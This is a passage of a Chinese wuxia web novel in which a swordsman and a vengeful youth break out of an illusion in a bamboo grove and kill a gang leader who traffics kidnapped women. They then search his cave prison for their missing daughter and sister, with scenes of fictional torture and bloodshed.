一片水流之声传入耳际,我大喜,心想,前方必定就是出路,慌忙循着水声奔去。 余十三并没有我这般耳目聪敏,他跟着我身后急切地问“你要去哪里?” 我说“跟我走,前面有水声。” 跑了莫约百十米,只见迷雾渐渐稀薄,一片光亮映入眼帘,景 色豁然开朗。莫名地,却是来到一片竹林。眼前竹木茂密,郁郁苍苍,却不像身后的密林那般遮天蔽日。林中竹子姿态万千,有的修直挺拔,直冲云霄,有的新生不久,却也亭亭玉立。阳光斜入林中,在地上投下斑驳的光点,远远望去,煞是惬意。又有一条小溪蜿蜒急淌,溪水冲击河床中的乱石,发出各色声响,时而如空谷幽鸣,时而如洪钟闷响。 经过了十几个时辰的奔波,这时候的我正觉得口干舌燥,见眼前溪水清澈,心中大喜,正欲上前捧一捧清冽,解一解渴。 “哗!” 突然,水声大起,只见湍急的溪水竟然猛地向上扬起,直直冲上天去,在我面前形成一道巨大的水幕。 异象! 这是我从来没有见过的异象! 这些年,我在江湖中游走,奇怪的事情也见闻不少,但这样的异象却闻所未闻。即便是以往跟着八茅师父闯荡江湖时,听他讲述江湖上各种奇闻异事,却从未听到过这样诡异的景象。 我感觉身上一阵阵地发冷,心想,莫非是这江湖上当真有什么不曾出世的奇人,凭借什么奇妙的武功,将一条溪水整个御起? “什么人?”我凝神戒备着,冲着腾空飞起的溪水大喊,“快出来!不要装神弄鬼!” 四周没有丝毫回应,那溪水更急,水幕越升越高,几乎将整个竹林掩在一片水幕之下。 余十三表情凝重,眉宇间也是布满了疑惑,说道“这是什么一回事?” 我摇了摇头,说“我也不知道。” 那道水幕仍然哗哗地向天上攀升,越来越高,已看不见顶端,除此之外,周围再无其它异样。 “这样看下去也不是办法,我去试一试。”余十三忽地从腰间拔出一把匕首,“嗖”地一声将匕首掷向那道水幕,匕首在空中急速旋转,带着“嗖嗖”地声响向着水幕飞去。 “嗖嗖” 然而,这一把匕首飞了过去,飞入水中竟如泥牛入海,再也没了踪影。而那道水幕依旧在空中哗哗地流淌着,没有丝毫变化。 “呀!” 余十三大喝一声,人影一闪,忽地拔地而起,向着水幕飞了过去。 “快回来!”我心中大惊,万万没想到于是山会在情势不明的情况下如此轻举妄动。我想伸手去抓,无奈余十三动作极快,一眨眼间,已到了水幕跟前。 “咦?” 余十三一声惊奇,此时他离水幕咫尺之距。他满脸茫然地回过头来看我,说“这,这水是假的!” 假的? 我快步跑到余十三跟前,那道水幕就在我跟前,我却感觉不到任何的水汽,水幕近处水花四 溅,打在我的脸上,也没有丝毫感觉,用手一摸,脸上干燥无比,也没有半点水滴。 我一拳打入水幕之中,那水幕竟仿佛不存在一般,手入水中,没有半点溪水的清凉,衣袖浸入水幕,竟也不被沾湿。我收回拳头,越来越觉得惊奇,决心再试,又将一只脚轻轻地踏了进去,方才明明见到一条水流湍急的小溪,脚下触到的确是坚实平整的地面。 “奇怪!”我说,“这水幕竟然真的是假的!” 余十三茫然地看着我,问“到底是真的还是假的。” 我说“假的。” 没想到,我刚一说完。余十三竟然向前一跃,整个人穿之而过。我大惊,慌忙伸手去拉他。然而,他已经越过了水幕。 水幕将我和余十三隔开,我冲着水幕大喊“小子!你太鲁莽了!” “你快过来,这里” 余十三惊喜的声音从水幕另一边传了过来,忽又戛然而止。我心中一凛,来不及多想,冲向水幕,一跃而过。 当我穿过水幕,身上衣服竟滴水不沾,正要称奇,却见余十三呆呆地站在一旁,两只眼睛瞪得溜圆,神色惊恐万分。 我顺着余十三的眼睛向前望去,登时浑身毛发悚然直立。只见眼前一片苍翠竹林,一道冲天的水幕横在前方,几根翠竹微微摆动,零星落下几片竹叶,竟与刚才那景象一模一样。 唯独,一柄匕首,斜斜地插在米远的地上 (本章完) (教育123文学网) 第一百八十章 千浪 1 蛇头山密林深处,一大片苍翠竹林隐在其中,竹林中一道水幕冲天而起,望不见顶端,“哗哗”的水流之声不绝于耳,犹如一道从天而降的瀑布,横在了我和余十三的面前。 然而,这道巨大的水幕并非实体,我和余十三一次又一次的冲过水幕,身上竟滴水不沾,眼前景象不断地重复出现,似乎陷入一场无边无际的困局之中。 “这到底是什么东西?”我们两个人反复穿过水幕已不下几十次,坚毅的少年脸上也已露出疲惫之色。 我心中愈发恐惧,说道,“看来,我们今天是出不去了。” 余十三神情凝重,若有所思,说道,“莫非,这就是传说中的幻术。” “幻术?”我惊讶问,“什么是幻术?”莫非这少年知道一些我所从来没有听过的奇特功法? “我曾听一位老者说过。”余十三说,“数百年前,江湖上曾有一门派,门中之人武功平平,却善用幻术,可将人托入幻境。幻境之中并无实物,一切皆是虚假的景象,除非找到结界的出口,否则被托入幻境之人将永远陷在其中,直至困死。” 他这话一说完,我登时觉得出了一身的冷汗,说“竟然还有这种事?” 余十三点了点头,说“那时候,我以为这也不过是传闻,但没想到竟然真的有幻术的存在。” 幻术! 即便是几百年前真的有这样的门派存在,那只怕也已经在江湖上失传已久。却不知是什么人竟能拥有这种奇特的武功,并能在这蛇头山的密林之中布下陷阱。 如此看来,黑蛇帮中果然是藏龙卧虎,不可小觑啊。 余十三扫量这四周,说“我们已经穿过水幕十几次了,都不找不到出去的方法,恐怕这出口并不在水幕之中。” 我点头称是,说“你以为出口会在哪里?” 余十三说“不如我们在竹林里再好好找一找,或许出口就藏在其中的什么地方。” 眼下也只有如此了。 我们围着竹林细细寻觅,每一根竹节都要敲打摸索一番。然而,这竹林中竹子虽是姿态万千,却无任何异样之色。 正一筹莫展之际,我突然看见眼前一根竹子挺拔直立,高入云际,竹节之间似乎隐隐有水珠流出,仿佛幽怨的女子流出的涓涓泪水。 泪竹?这世间竟有竹子会流泪么? “快过来看!”我冲着余十三喊道,“这根竹子竟会流泪。” 余十三快步赶来,细细观看。我伸手一摸,那“泪水”仿佛是不存在一般,竟擦之不去。 正在我要将这根会流泪的竹子好好研究一番的时 候,余十三突然抽出匕首来,向着竹子猛力一挥。一道寒光闪过,只听见“咔!”的一声脆响,那竹节竟坚硬无比,刀刃砍入竹节,竟没有砍断。 余十三攥着手腕,脸上略过一丝痛苦,他握着匕首的那只手竟然在颤抖。 我一咬牙,猛地将青光剑抽出,正欲挥下,确见那竹节上原本深深的一道伤痕,竟消失得无影无踪,竹节完好无损,似是没有被砍过一般。 这竹子竟还能自愈! 我又惊又奇,心想,这或许就是破解幻术的关键所在。 “让开!” 我一把推开余十三,提起青光剑,双手握持剑柄,一个三百六十回旋,青光剑带着呼呼地风声,向着竹节砍去。 “咔嚓!” 一声脆响,竹子应声折断。我慌忙向后退去。然而,那高耸的竹子被我从中间砍断,竟然也不倒,就那么静静地悬在半空之中,四周景象也没有丝毫的变化。 “怎么?!” 我正诧异之间,忽听得“轰隆”一声巨响,接着“咔嚓”之声接连传来,只见偌大的一片竹林,千百根竹子竟接连折断,向着同一方向倒去。 “哗!” 巨大的水幕从天落下,闪着粼粼之光,犹如天河泄下,景象颇为壮观。 “快跑!”我大喝一声,青光剑斜入剑鞘之中,拉着余十三便向水幕落下之处奔去。 余十三仿佛有些反应不及,被我猛力一拉,发出一声“闷哼”,胳膊上的关节处传出一声脆响。 眼看着那道巨大的水幕泄下,千百根竹子接连倒下,如末日来临,天之将倾一般。我顾不得余十三的疼痛,拉着他的胳膊左闪右躲,避过接连倒下的翠竹,嗖地一声,一跃穿过水幕。 眼前景象突变,林木挺拔,郁郁葱葱,直插云霄。又是一副遮天蔽日的密林景象,四周瘴气已然消散,回首望去,只见身后依旧是一片密林,茫茫然不见边际,那水幕、竹林皆似未曾出现过一般,消失的无影无踪。 “我们”余十三茫然地问,“我们这是出来了吗?” 我环视四周,古树参天,林木繁茂,无甚异样。我说“应该是出来了吧。” 可是,出来又能如何,我们仍是出不了这片密林。 2 我和余十三在密林之中,如没头苍蝇般地摸索着。 此时,林中已漆黑如墨,我好不容易找来一根干燥的木棍,扯下身上的布料,缠在木棍之上,做了个火把。 茫茫一片的密林,幽暗寂静,飞禽走兽也不入其中。火把散射出幽幽的光芒,在黑暗之中尤为扎眼。 看着这片怎么 也走不出去的密林,我忍住地感叹“看来,我们已经走入了绝境。” 却不知道我们是不是能够绝处逢生 余十三的脸上依旧看不出任何的疲惫之色,他仍然不肯放弃地寻找着,表情十分平淡,只是那始终舒展不开的眉心,让我看到了少年心中的焦急。 我说“休息一会吧。” “不!”余十三断然拒绝,说,“青儿还在等着我。” 青儿在等着他。纾瑶又何尝不在等我? 他尚且知道余青儿就在蛇头山上,而纾瑶呢? 我心中一阵难受,将火把插在地上,坐下来冥想,若是小月遇到这样的情况,她会怎么做?她会有什么办法走出这片谜一样的树林? “脚,脚印!”余十三惊喜的喊叫声打断了我的冥想。 我慌忙站起来,提着火把跑到他跟前。 那是一串长长的脚印,脚掌宽厚,看得出应当是一个身材高大的人所留下的。我提着火把,顺着脚印向前照去,它一直延伸到幽暗的深处。 我说了一声走,拉着余十三,顺着脚印一路快跑。 跑了大约半个时辰,终于看到了一道昏黄的光影斜斜地射入林中,那是夕阳的余晖,地上斑斑驳驳的树影,那是希望的影子。 “我终于出来了!”我忍不住地大喊,释放着所有的情绪。 然而,这是一声愚蠢的喊声。 当我喊完的时候,远处传来一声厉吼“什么人!” 我一惊,循声望去,只见不远处几道黑影提刀向我奔来。夕阳的余晖给他们镀上一层神圣的金辉,若不是身在蛇头山上,我几乎就要认为他们是天神下凡,前来拯救苍生。 他们显然不是我所因为的模样。他们手中的刀,染着暗红色的血渍,似乎是刚刚经历过一场残忍的杀戮。 我拔出青光剑,将余十三挡在身后。 人一靠近,我便挥剑杀入人群。青光一闪而过,几个人倒在地上。我再转身时,只有一个人,肩头带伤,手中的刀“桄榔”一声落地,满脸惊恐地看着我。 “大侠饶命。” 我只是轻轻挪动了一下脚步,那人竟然已经跪在了地上。 我问他“你是不是黑蛇帮的人?” 那人连连点头,说“是,是。小的隶属黑蛇帮采花堂!” “采花堂!”余十三目光带着愤怒,拔出匕首冲到那人跟前,将锋利的匕首抵在他的脖颈上,喝道,“韩千浪在哪里?!快说!不然我杀了你!” “他,他”那人全身颤抖着,却始终不敢说出韩千浪的所在。 余十三的目 光忽然变得异常凶狠,他收起刀落,一道殷红的血散入空中。只见那人的一只耳朵被余十三割了下来。 采花堂的那人凄厉地嘶吼着,嘴上连喊着饶命。余十三又将匕首抵在他另一只耳朵上,说“告诉我,韩千浪在什么地方!” “大侠饶命,大侠饶命啊!”那人只顾着求饶,仍旧不肯透漏韩千浪的踪迹。 “啊!” 又一声凄惨的吼叫,如同是杀猪宰羊一般。鲜血顺着那人的两腮淙淙直流,染红了衣襟。余十三反握匕首,刀尖儿对准那人的眼睛,说“再不说,我挖了你的眼睛!” 那人不知是疼得还是吓得,脸色苍白,浑身颤抖得更加厉害。他一双眼睛死死地盯着余十三手中的匕首,眼中尽是恐惧之色。 “他,他就在前面一里的百花洞中。”那人指着一条蜿蜒小路延伸的方向,说。 百花洞?! 我问“百花洞是什么地方?” 那人回答道“采花堂抓来的所有的姑娘,在没有找到买家之前都被关押在百花洞中。今日恰巧是帮主生辰,堂主说要亲自挑选几个绝色美人献给帮主。” 余十三刀尖儿更近一寸,几乎就要刺到那人的眼珠之上。那人额头冒汗,喉头滑动,吞咽着口水。 余十三问“前几天,韩千浪在青崖谷掳走的一个姑娘,是不是也在百花洞中。” 那人一动也不敢动,连说话也不敢大声“小的不知,前些日子堂主出山的确带回了几个姑娘,他们都被关在百花洞里,但却不知道有没有少侠要找的人。” 余十三目光阴冷得让人胆寒,他用低沉而有力地声音威胁道“你有没有骗我?!” 那人连忙说“不敢,不敢!小人的性命就捏在少侠手中,断然不敢撒一句谎。” “很好!”余十三嘴角上扬,微微一笑,将手缓缓挪开。那人自以为小命得保,长长地舒了一口气。 然而,这口气并没有呼完,余十三却一挥手。匕首闪着金灿灿的光划过了那人的喉咙。 那人死死地按住自己的喉咙,怨恨地瞪着余十三,鲜血从他的指缝间不住地向外流淌着,直到他跪在地上的双膝再也支撑不住他的身子,他才缓缓地倒在了地上。 好狠毒的少年。 这一刀挥得毫不留情,他杀人的瞬间,我看不到一丝一毫的犹豫。就感觉是,人命在他手中如同是草芥一般。 余十三看着地上的死尸,脸上是让人发寒的冷漠,甚至是我在他的目光中看到一丝光影,一种痛快的光影,因杀人而痛快! 我说“你真狠毒!” 余十三冷冷地 看着我,说“你杀的人比我还多,凭什么说我狠毒?” 那一瞬间,我竟愣住了。我无从回答。因为他没有说错,他只不过是杀了一个人,我便觉得他手段狠毒。然而,从昨夜起,死在我手上的人已经不下十人。 十条性命! 我不也是丝毫没有感觉吗? 3 沿着蜿蜒的小路,向着百花洞的方向前进。 这条路上并没有什么机关陷阱,十分平静,却又让人感觉不是那么平静。 当刻着百花洞的石壁出现在我们面前的时候,余十三突然加快了步子,他大步冲向洞中,完全不顾山洞里藏着怎么样的危险。 “等等!”我大声阻止他,却毫无作用。 余十三仿佛是发狂了一般,一边向山洞里跑着,一边喊着“韩千浪!还我妹妹!” 他还是一个勇敢无畏的少年。 “啊!” 一声尖叫,山洞里飞出一个人影,重重地摔在地上。我定睛一看,刚刚冲进去的余十三被人一脚踹了出来,他的胸口还挂着一个灰黑色的脚印。 余十三又站了起来。然而,这一次,他还没有来得及向山洞里冲,却见几个人影从山洞里走了出来。 “好你个臭小子,本领不小啊!竟然能摸到蛇头山上来!”一个身材高大魁梧的汉子,手上握着一把铁蒲扇,四四方方的脸上横着一道浅浅的刀疤。 他一说话,刀疤一阵抽搐,看起来十分滑稽。他扇着铁蒲扇,说“来人,把这个不要命的小子给我拿下!老子要挖了他的心肝泡酒喝!” “遵命!”四方脸的身后四个人影闪出,齐声呼和。 霎时间,刀剑晃动,照亮将黑的晚色。 无奈之下,我又得出手救他。那时,我突然产生一种想法,若按照余十三不愿欠人恩情的性格,不知他这辈子还有多少条命可以拿来还我? 四把刀剑砍向余十三头颅的瞬间,青光一闪而过,将刀刃齐齐斩断。那些手持刀剑杀过来的人,也被我一掌震了回去。 “还有帮手?!”四方脸惊呼一声,道,“难怪这小子能摸上山来,原来是请了高手助力。在下黑蛇帮采花堂堂主韩千浪,敢问阁下高姓大名?” 我说“你就是迎风一丈?” “呵呵”韩千浪竟然得意地笑了,显然他对自己的绰号颇为得意,他说,“江湖兄弟谬赞,在下盛情难却。” 我问“什么叫迎风一丈?” 韩千浪忽然愣住了,他一张脸憋得通红,从牙齿间蹦出几个字“兄弟你到底是谁?还请没报上名号!” 报还是不报? 这是一个纠缠了我一生难题。 我说“不报!” 韩千浪冷冷一笑,说“连家门都不敢报,想必也是个无胆鼠辈。看你手上还有点功夫,我今天便不与你计较,快点带着这个小子滚下蛇头山去,我自当今日之事没有发生过。若晚了哼哼!” “若晚了会怎么样?”我问。 韩千浪说“若晚了,只怕我们被我们帮主知道了,你们想走也走不掉!” 我说“你们帮主?徐长风?” “混账东西!”韩千浪突然震怒,吼道,“竟敢直呼我们帮主的大名,当真是不想要命了吗?” 直呼大名又能如何? 我说“就算是陈大刀、管天下,我也是直接喊他的名字。” “你”韩千浪脸色突变,上下打量着我,问,“阁下究竟是什么人?” 我再三犹豫,终究还是决定要告诉他“我叫姬旦丙!” “噗!” 这一声忍俊不禁的笑声并非来自韩千浪,它就在我的脚边发出,在余十三的嘴里发了出来。 我瞪了余十三一眼,他赶紧将笑声憋了回去。韩千浪睁大眼睛看我,满脸都是不敢置信的神情,目光之中还有一丝并不明显的恐惧。 那表情让我倍感舒适。它让我觉得自己虽远离江湖多年,竟还在这江湖中留有余威。 韩千浪声音略带颤抖,语气客气了许多,他说“盟主大人大驾光临,不知有何指教?” 我说“救人!” 韩千浪问“救什么人?” 我说“你们可曾在藏龙涧中劫走一个小女孩?” “藏龙涧?” 韩千浪皱起眉头,陷入了思索之中。他思索得尤为漫长,我的心也在这思索之中不断地加速,跳动着,几乎就要钻出喉咙 (本章完) (教育123文学网) 第一百八十一章 十三 1. 那是我有生以来最为漫长的一段等待。 虽然这等待只不过是韩千浪片刻的沉思。当他开口告诉我答案的时候,却有将我唯一的希望扇灭,将我狠狠地抛到了希望破灭的幽幽深谷。 韩千浪说:“没有。” 我仍不死心,我说:“会不会是你手下的人......” “绝无可能!”韩千浪十分笃定地告诉我,“我对手下管理一向极为严苛,他们绝不敢背着我做事。” 是吗? 那昨夜被我杀死的一胖一瘦如何解释? 我说:“如果有呢?” 韩千浪一愣,一字一字地对我说:“绝对没有!” 余十三豁然起身,冲着韩千浪咆哮:“把妹妹还给我!” 韩千浪斜眼瞥了余十三一眼,冷哼一声,说:“可以。我采.花堂从来不做亏本的生意。我费了那么多力气把你妹妹从青崖谷带到蛇头山,只要你拿得出一万两银子,我就把那女娃娃还给你!” 余十三吼道:“我杀了你!”说罢,他攥着匕首就要向前冲。 我伸手将他拦住,说:“别去送死!” 余十三挣扎着,吼道:“放开我,我不怕死!” 我厉声喝道:“你死了,谁救你妹妹!” 余十三愣住了,他第一次,也是唯一一次用一种央求地目光看着我,略带哽咽地说:“救救我青儿,救救我妹妹!” 我会的。 但我并没有说出口,因为在和韩千浪彻底撕破脸面之前,我必须要从他口中确认一件事纾瑶到底在不在蛇头山上! 我将余十三缓缓地推到我身后,对韩千浪说:“一个多月前,我的女儿在藏龙涧失踪了。今日我闯上蛇头山,就是想问清楚这件事,到底是不是你们的人掳走了我的女儿。” “你的女儿?”韩千浪眉头一皱,问,“她......长得好看?” 她当然好看! 但是,这样的话在韩千浪的嘴里问出来,却让我十分厌恶,不愿回答他。 我说:“她不过是一个四岁的孩子,如果是你们抓了她,就把她还给我。”我强忍着怒火,补充道:“多少钱都可以!” 韩千浪无奈地摇了摇头,说:“姬大侠,我不知道你从什么人那里听说了这样的事。但我可以很负责任地告诉你,贵千金绝无可能在我们这里。” 我问:“你凭什么如此肯定?” 韩千浪笑着,说:“姬大侠不了解我们的生意。这世间只要是长得好看的女人都有可能被我们抓来,但前期提......她得是个女人!”他轻轻摇着手中的铁蒲扇,轻蔑地说:“一个四岁的女娃娃,我们抓她有什么用处?难道要养她十年,等她长成一个女人再卖吗?我们可没有那么多的心思!” 我心中更加凄凉,因为韩千浪的话十分在理,他们的确没有必要去掳掠一个年仅四岁的女娃。但是,费劲了千辛万苦,好不容易得来的线索,这唯一的希望,我却如何能够死心呢? 即便是让这希望破灭,我也要亲眼见到才可以! 我指着韩千浪身后的百花洞,说:“我要进去看看。” 韩千浪没有同意,却也没有反对。但当我走到韩千浪身旁的时候,一把铁蒲扇“呼”一声挡在我身前。 韩千浪说:“姬大侠,当年陆家山庄的事在下的确有所耳闻,也自知不是姬大侠的对手。但我黑蛇帮有黑蛇帮的规矩,这百花洞却也不是任什么人都可以闯的。” 我说:“如果我一定要闯 呢?” 韩千浪冷哼一声,说:“那你得问问我手中的铁扇答应不答应。” 我冷哼一声,冲着他手中的铁扇,问:“我要进去,你答应不答应?” ...... 我说:“它不说话,我就当是答应了。”说罢,我撩剑挑开韩千浪的手臂,顺势将他推到一旁。 韩千浪怒道:“你竟敢耍我!”他手中的铁蒲扇向我一挥,一股强劲的风扑来,内里隐约含着一股颇为强劲的内里。 我向后一纵,跃出数米之远。但令我惊讶的是,韩千浪的铁蒲扇出的风非但没有衰减,反而愈发遒劲,卷起地上的碎石竟如同发出了数道暗器一般。我想左一侧身子,躲过迎面的劲风,那几块被风掀起的碎石直直地打在远处的石壁上,碎成粉末。 好强悍的内力! 我不禁讶然。想当年陈大刀的武功在十大门派之中也不过是居于末位,没想到他手下的徐长风的一个手下,竟然有如此强悍的内力。 看来,这个江湖之中依然隐藏着许多高手,只是我从来没有碰到过。 2. 无奈,我只能再次拔出青光剑。 当青光闪耀的瞬间,我看见韩千浪脸色一阵发青。我以为是青光剑的光芒映照的,但又觉得韩千浪脸色的青色似乎是从内里发出。 我将青光剑重新插入剑鞘之中,韩千浪的脸上依旧发青。他死死地盯着我手上的剑,目光中似有惊恐之色。 “这,这剑莫非是......”韩千浪颤声说道,“青,青光剑?” 我又拔出青光剑,展现在韩千浪的面前,说:“不错。你认得这把剑?” 韩千浪的脸色陡然变得煞白,惊恐之色更重,他的目光落在我左手边另一把始终没有拔出的剑上,那把隐匿在雪银剑鞘之下的血芒。 “那,那另一把便是......” 我说:“是血芒剑!” 韩千浪身子猛地一颤,踉跄地向后退了几步,目光呆滞,似乎是想到了什么令他感到害怕的事。他的手不知为何却伸到了自己的胯下,嘴上不停地呢喃着:“不可能,不可能!” 不可能? 我说:“你想看看吗?” “不!” 韩千浪发狂一样地喊着,他目光忽然变得异常凶狠,手中的铁蒲扇一横,竟然像是挥舞着一把刀一样向我砍来。 铁蒲扇在空中发出“簌簌”的声响,细小而狭长的声音十分独特。但那声音也同样警醒我,那铁蒲扇的棱儿如刀一样的锋利! 我撩起青光剑格挡,本以为那看似普通的一把铁蒲扇绝不可能与削铁如泥的青光剑对抗。 然而,当铁蒲扇与青光剑交错的瞬间,我却听到了那把铁蒲扇里发出了肆虐的吼叫,似乎是见到了多年的劲敌,不顾一切地要与青光剑再争输赢一般。 韩千浪似乎是疯了,他大声地吼着,铁蒲扇一扇,那股强劲的风再次向我扑来,夹带着无数碎石,将我生生逼入角落。 我挥剑成盾,荡开向我飞来的石块。 但韩千浪不给我丝毫喘息之机,以更加凌厉强劲的攻势向我扑来。手中的铁蒲扇再次发出“簌簌”的响声,其锐利简直让人难以抵挡。 当对手方锋芒毕露之时,则要避其锋芒,伺机挫其锐气。汀兰古穴中,那十一式剑招里,便有一猛锉对手锐气的招式。 只是这招太过于阴狠毒辣。所以,这些年来我从来没有使用过。 然而,面对着迎面而来的韩千浪。对付这样的淫徒恶人,便没有什么 可以顾虑的。 我重重地呼了一口气,反握长剑迎击向前,却在扇棱将砍在我身上的一瞬间侧身躲过,将手中的青光剑,直直地送入了韩千浪的两.腿.之间。 “啊!” 韩千浪一声惨叫,那是一种十分痛苦的叫声。 我与韩千浪交换位置,背身相对。韩千浪在我身后痛苦的呻吟着,虽不愿如此,但我并不后悔。 我转过身去,看着夹着双腿缓缓蹲下去的韩千浪。我听见了他的哭声,凄惨的哭声。他喃喃地说着:“为什么?为什么?” 我说:“因为你是淫贼,你祸害了许多无辜的少女。你命该如此!” 韩千浪强忍着痛苦,转过身来时已是涕泪横流。他那四四方方的脸也因痛苦而扭曲成了一个不太规则的多边形(词穷,始终不知道怎么描述了,原谅我吧)。他说:“二十年了!二十年了!我已经是个废人了,为什么还不肯放过我!” 二十年? 我不明白他在说什么,便问:“你什么意思?” 韩千浪一抹鼻涕,冲我吼道:“二十年前是血芒剑,二十年后是青光剑,同样的剑招......为什么你们都不肯放过我!” 青光血芒,一世剑狂。 我说:“你说的可是当年的剑狂?” 韩千浪吼道:“就是他!姬啸风!我这一生都忘不了这个名字!是他!是他毁了我作为男人的尊严!” 我说:“他是我爹!” 韩千浪愣住了,他的表情忽然不再那么痛苦,反而是一种凄凉的苦笑。他不停地摇头,冲着天不停地笑着,似乎忘却了痛苦一般。 “为什么!为什么!”韩千浪不停地叫着,“当年我不过是自称迎风一丈而已,尿得远到底有什么错?!有什么错?!” 3. 就在韩千浪不知以为什么而沉浸于凄苦地自嘲时,余十三突然从我身后冲了出去,一把闪亮的匕首钻进了韩千浪的心窝。韩千浪瞪着眼睛,嘴角一阵抽搐,他狠狠地说:“你,你个臭小子!你竟然敢......” 余十三冷哼一声,他的表情就像吃人的野兽一般凶狠,冲着韩千浪冷冷地说:“我当然敢!因为你该死!你该死!” 匕首无情地抽出韩千浪的胸口,鲜血如泉水一般地喷射出来,溅得余十三满脸都是。那原本凶狠的脸庞,变得更加狰狞。 余十三手上紧紧地攥着匕首,一步一步地向着山洞靠近。 另外四个汉子原本横在洞口挡着,却莫名地被这个疯狂的少年吓得向两旁倒退,直到闪出一条通道,他们始终不敢向前一步。 “十三!” 我第一次这样喊他。余十三身子一顿,停下脚步来转身看着我。他的脸满是血渍,看起来依旧十分狰狞,但目光却柔和了许多。他疑惑地看着我,半晌,眼中竟然闪烁着泪光。 我问:“你怎么了?” 余十三说:“我娘死后,已经很久没有人这么叫我了。” 我怔在了原地,看着余十三冲我微微一笑,抹去眼中的泪水,重新恢复那副凶狠的模样,转过身去,一步一步地没入洞口。 这个少年令我越来越觉得迷惑。 他坚毅而又倔强。他知恩图报却又装得十分冷漠。他像野兽一般凶狠的时候,却在回眸的一瞬间让我看到了他那柔软的内心。 他是谁? 直到许多年以后,当我想小月讲起有关余十三的往事之时,我仍旧忍不住地感慨,这个无情而又多情的少年,这个令我始终感觉到歉疚的余十三。 第一百八十二章 疯狂 1. 百花洞。 这个名字听起来是多么美艳动人。若它不在蛇头山上,定然会让人以为是一个繁花锦簇,虫飞蝶舞,四处飘香的好地方。 实际上,它却是一座监牢。一座比大理寺监牢还要残酷的监牢。 山洞里摆满了各式各样的刑具,那些刑具上的每一根尖刺上,都带着暗红的血渍。 两侧的石壁下,一个个低矮的铁笼,不足一米高的铁笼子,一个又一个的女子如同是被圈养的家畜一般,关在铁笼子里。 她们看见我们进了山洞,纷纷向后蜷缩,铁笼子发出一阵阵哗啦啦的响声。 不过是那不足一米见方的铁笼子,即便是她们努力地向后蜷缩,又能躲到哪里去? 纾瑶……她会在这里吗? 我希望她在,我希望在某一个角落里能出现我殷切期盼的身影,因为我无时无刻不在渴望着与她团聚。 我却又希望她不在。因为,我不愿看到她在这样残酷的地方遭受着常人所无法忍受的痛苦。 我就这样犹豫着,犹豫着,找遍了每一个笼子……最终,犹豫彻底地变成了绝望纾瑶真的不在心里! 刹那间,我仿佛有回到了那片浩瀚无垠的大海。而纾瑶,便是我遗失在这片茫茫海域里的一颗珍珠。 我努力地找着,却总也找不到她的身影。 “青儿!”余十三大声地喊着,“你在这里吗?你回答我!” 又是一片铁笼子哗啦啦的响声。却没有任何人回应。 余十三也如同我一样,找遍了每一个笼子,却都没有发现余青儿的身影。 余青儿也不在这里! 像铁一般坚硬的余十三仿佛在那一瞬间崩溃了,他噗通一声跪在地上,绝望地喊着,声音却是那么无力。 “青儿!你在哪里?!青儿……” 我想要去安慰他,然而,我的心里同样充斥着绝望与痛苦,我又如何去安慰另一颗绝望痛苦的心呢? 突然,余十三站了起来,又是一副狠恶的模样,他攥着匕首大步冲出山洞。 “人呢?!” 山洞外,余十三如野兽一般地咆哮着:“你们给我滚回来,告诉我,我妹妹在哪里!” 我冲出山洞,看着余十三正冲着远处的山坡大吼。漆黑的夜幕中,月光照亮了四个慌乱逃窜的身影。 他们已经走得很远了,就在我们只顾着在百花洞里找人的时候,那四个人早已经趁机逃之夭夭。 余十三提起匕首,转身扑向了韩千浪的尸体。他的胸口和裤裆处,染着大片的血渍。 “我妹妹在哪?”余十三提起匕首,向着韩千浪的尸体大吼。 韩千浪没有回答。 尸体当然不会回答他任何的提问。若回答了,那便不再是一具尸体。 余十三攥着匕首,向着韩千浪的腹部一顿猛刺。一刀又一刀地发泄着自己的愤怒! “我妹妹在哪?告诉我她在哪!”余十三疯狂地吼着。韩千浪的腹部以被他刺得血肉模糊,他似乎仍不解恨,转而提刀刺向韩千浪的脸。 太残忍了! 残忍得我不敢去描述。(听说血腥会被**!) 我拉住余十三,喝止他:“够了!够了!” 直到我将余十三拖出去十几米远,他才放弃挣扎。余十三缓缓地站了起来,对我说:“可不可以用一下你的剑?” 他竟然仍不解气,想用我的剑去做那不可描述的残忍之事! 我断然拒绝,说:“不行!我绝不会让你用我的剑去砍一具尸体!” “不是!”余十三却摇了摇头,说,“我想去救里面的那些人。” 那些笼子里的姑娘?! 她们当然应该去救。 我拔出青光剑,将它递给你余十三,对他说:“你去吧!” 余十三却迟疑了一下,才缓缓伸手接过青光剑。就在他提着青光剑转身的那一刹那,我看到余十三的目光却看了一眼我手 中的另一把剑…… 2. 蛇头山一行仍旧没有结束。百花洞,也不是我们的终点。 起码,对于余十三来说,他必须继续去寻找。看着少年咬牙坚持的模样,我心里一阵酸涩,想要劝他,却听见他嘴里像念咒一样地给自己鼓劲:“我不能放弃,青儿还在等着我。我不能放弃......” 夜已深,一壶玄月高高挂起。莫名地一道紫红色的光圈将玄月包裹,尤为明亮。只是那光圈的某一处,似乎隐隐地黯淡了许多,远远看去,就仿佛是一道缺口。 这样的景象让我想到了许多年前的一个夜晚。 那时候,八茅师父带着我们兄弟四人曾在江西的一个小镇上暂住。 一日清晨,八茅师父突然收拾起行囊对我们说了一声,我们走。当时,我问师父,我们要去哪里? 八茅师父看着战火蹂躏过的小镇,满目疮痍,对我说,去一个可以生活得更好的地方。 我问,那是什么地方? 八茅师父指着小镇外面一座高高耸入云际的大山,说,那座山的后面。 一座山横在我们面前的时候,我们总以为那座山的后面会有我们想要看到的景色。但是,当我们费劲千辛万苦爬上山顶的时候才发现,山的那边是另一座山,是另一片山。 那夜,筋疲力尽的我们兄弟四人背靠着背坐在山顶的一颗树下,幽怨地看着八茅师父。大哥抱怨着喊累,二哥抱怨着喊饿,而我则抱怨着喊又累又饿。 我仍旧清晰地记得,八茅师父看着我们时那种无奈地眼神。他抬起头,看着天上的月亮,似乎是看到了一道珍馐美味一般。 他双眼迷离地说,月亮。 我抬起头。那是一壶玄月,月晕散开浅浅的红色,照亮围在它四周的乌云,风一吹,乌云纹丝不动,气氛霎时间显得静谧而诡异。 浩月当空,清辉似水,渐渐的,雾霭升起,清澈的玉盘被蒙上羞涩的棉纱,周围出现了一个内紫外红的彩色光环。远远望去使人如入梦幻,迷茫中,那光环飘飘忽忽,透露着一种神秘的意蕴,一切仿佛变的更加美好。 但是,自然的力量总让凡人无法揣测。不消片刻,风越发急促,呼呼而来的声音,仿佛是山林间野兽的怒吼。 强大的风力摇晃着远方的大树,“咔嚓”一声,粗壮的树干折断了。 八茅师父大惊失色,他冲着我们喊,快跑! 